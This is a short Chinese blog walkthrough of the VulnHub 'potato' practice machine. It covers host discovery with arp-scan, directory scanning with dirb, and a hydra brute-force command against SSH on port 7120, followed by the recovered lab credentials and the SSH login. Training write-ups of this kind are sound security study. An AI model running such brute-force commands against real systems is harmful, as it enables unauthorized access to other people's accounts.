vulnhub靶场-potato(至获取shell)

embedded/2025/1/8 18:49:15/

arp-scan -l 扫描IP

使用御剑端口扫描扫描端口,扫到了80和7120两个端口,其中7120为ssh端口

使用dirb http://192.168.171.134 扫描目录

发现info.php 访问为phpinfo界面

访问192.168.171.134为一个大土豆,没什么用

所以我们从ssh入手

盲猜账号为potato 我们使用九头蛇hydra(或图形化xhydra)来进行爆破密码

命令行为:

hydra -l potato -P /usr/share/wordlists/nmap.lst ssh://192.168.171.134:7120

我们就得到了账号为potato,密码为letmein

这样我们就知道了ssh的账号密码,直接连接就可以获得shell了

ssh -p 7120 potato@192.168.171.134


http://www.ppmy.cn/embedded/152349.html

相关文章

Couchbase 和数据湖技术的区别、联系和相关性分析

Couchbase 和数据湖技术(如 Delta Lake、Apache Hudi、Apache Iceberg)分别是两类不同的数据存储与管理系统,但它们也可以在特定场景中结合使用,以下是它们的区别、联系和相关性分析: 区别: 1. 核心用途&a…

Docker: 教程07 - ( 如何对 Docker 进行降级和升级)

如果我们使用 docker 来管理容器,那么保持 docker 引擎的更新将会是十分重要的,这一篇文章我们将会讨论如何对Docker 进行降级和升级。 准备工作 - docker 环境 我们需要拥有一个安装好 docker 的运行环境。 如果你需要了解如何安装 docker 可以通过如…

Go语言的数据库交互

Go语言的数据库交互 引言 在现代软件开发中,数据库是应用程序不可或缺的组成部分。无论是处理用户数据、管理资产信息,还是记录日志,数据库都发挥着重要作用。Go语言以其简洁的语法和优异的并发性能,逐渐成为开发高效、可扩展应…

iOS - 线程与AutoreleasePoolPage

1. AutoreleasePoolPage 结构 struct AutoreleasePoolPage {static pthread_key_t key; // 只占用一份内存空间magic_t const magic;id *next;pthread_t const thread;AutoreleasePoolPage *parent;AutoreleasePoolPage *child;// ...其他成员变量 } pthread 的 TLS (Th…

博客标题:使用Go和RabbitMQ构建高效的消息队列系统

引言 在现代分布式系统中,消息队列扮演着至关重要的角色。它们允许不同组件之间异步通信,从而提高系统的可扩展性和可靠性。今天我们将探讨如何利用Go语言和流行的开源消息代理RabbitMQ来创建一个简单但功能强大的消息队列系统。 环境准备 为了确保你能够…

如何二次封装组件(vue3版本)

在开发 Vue 项目中我们一般使用第三方组件库进行开发,如 Element-Plus, 但是这些组件库提供的组件并不一定满足我们的需求,这时我们可以通过对组件库的组件进行二次封装,来满足我们特殊的需求。 对于封装组件有一个大原则就是我们应该尽量保…

Cursor 实战技巧:好用的提示词插件Cursor Rules

你好啊,见字如面。感谢阅读,期待我们下一次的相遇。 最近在小红书发现了有人分享这款Cursor提示词的插件,下面给各位分享下使用教程。简单来说Cursor Rules就是可以为每一个我们自己的项目去配置一个系统级别的提示词,这样在我们…

Python爬虫入门指南:从零开始抓取数据

Python爬虫入门指南:从零开始抓取数据 引言 在大数据时代,数据是新的石油。而爬虫作为获取数据的重要手段,受到了越来越多的关注。Python作为一门强大的编程语言,其简洁易用的特性使得它成为爬虫开发的首选语言。本篇文章将带你…